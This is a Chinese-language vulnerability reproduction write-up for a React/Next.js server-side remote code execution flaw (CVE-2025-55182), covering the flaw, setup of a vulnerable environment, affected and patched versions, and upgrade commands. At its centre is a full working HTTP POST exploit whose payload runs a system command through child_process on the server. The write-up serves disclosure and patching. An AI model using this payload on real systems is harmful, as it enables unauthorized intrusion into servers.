React(React.js/React Native)是由Meta(原Facebook)开发并维护的开源JavaScript前端库,核心目标是构建高效、可复用的用户界面(UI),尤其适配单页应用(SPA)开发,是当前前端生态最主流的UI库之一。
Next.js是基于React的开源服务端渲染(SSR)框架,由Vercel开发维护,核心目标是解决React原生SPA的SEO差、首屏加载慢等痛点,同时提供企业级工程化能力,是React生态中最主流的服务端渲染框架。
漏洞存在于React服务端渲染(SSR)模块的renderToString/renderToPipeableStream等核心函数中,对用户可控的props参数与URL查询参数缺乏严格的类型校验和代码注入过滤。攻击者可构造包含恶意JavaScript代码片段的特殊参数,当React服务端解析渲染组件时,该恶意代码会突破沙箱限制,直接在Node.js运行环境中执行,而非仅在前端浏览器上下文运行。
Next.js作为基于React的框架,其API路由(pages/api/app/api)未对传入的req.query/req.body参数做二次安全校验,且部分内置中间件(如next-auth集成模块)存在权限绕过逻辑。该漏洞会放大CVE-2025-55182的危害:攻击者无需突破React的基础防护,即可通过Next.js的API路由直接将恶意命令传递至React SSR渲染流程,跳过前端过滤环节,直接触发服务端代码执行。
两个漏洞结合之后,攻击者可以实现"无交互"远程命令执行,不需要诱导用户进行操作,只需要向目标服务发送恶意的HTTP POST请求即可触发,正是因为其利用难度低、影响范围广、危害程度大,故其CVSS评分为10分满分。
(1)Next.js应用仅使用静态生成(SSG)模式,无SSR/API Routes/Server Components。
(2)所有用户输入均经过严格过滤(如移除shell元字符、使用child_process.spawn()且shell: false)。
(3)Next.js进程运行在严格沙箱中(如仅允许读取静态文件,无执行系统命令权限)。
(4)漏洞触发点做了强权限控制(如仅内网管理员可访问,攻击者无法触达)。
(5)Next.js版本升级至官方修复漏洞的版本。
下载存在漏洞的版本环境,这里选择一个存在漏洞的版本即可(我这里下载的是16.0.5):
npm create [email protected] react -y
切换到下载的目录:
cd react
运行对应环境(注意以管理员权限运行):
npm run dev
访问页面查看是否能够正常访问:

POST / HTTP/1.1
Host: xxx.xxx.xxx.xxx:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 607
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=encodeURIComponent(process.mainModule.require('child_process').execSync('whoami').toString().trim());;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary
Content-Disposition: form-data; name="2"
[]
------Boundary--注意上述请求中使用了encodeURIComponent()对回传数据进行了URI编码,以避免因为解析问题导致无法获取到回传结果:

由上述两张图片可以看到漏洞复现成功
目前以下产品及版本会受到上述漏洞影响
React 19.0
19.1.0 <= React < 19.1.2
React == 19.2.0
14.3.0-canary.77 <= Next.js < 15.0.5
15.1.0 <= Next.js < 15.1.9
15.2.0 <= Next.js < 15.2.6
15.3.0 <= Next.js < 15.3.6
15.4.0 <= Next.js < 15.4.8
15.5.0 <= Next.js < 15.5.7
16.0.0 <= Next.js < 16.0.7
官方已经发布漏洞修复补丁及版本,请受影响的系统尽快升级到漏洞修复版本:
React 19.0.1
React 19.1.2
React 19.2.1
升级命令:
npm install react@latest react-dom@latest
Next.js框架已发布最新版本修复该漏洞,请受影响用户更新到以下版本:
Next.js 15.0.5
Next.js 15.1.9
Next.js 15.2.6
Next.js 15.3.6
Next.js 15.4.8
Next.js 15.5.7
Next.js 16.0.7
升级命令:
npm install next@版本号
作者仅对本文章内容的技术研究性进行陈述,不对读者使用本文内容所产生的任何直接或间接后果承担责任。因读者违反法律法规、未经授权使用相关技术导致的法律责任、经济损失、民事纠纷等,均由读者自行承担全部责任,与作者、发布平台无关。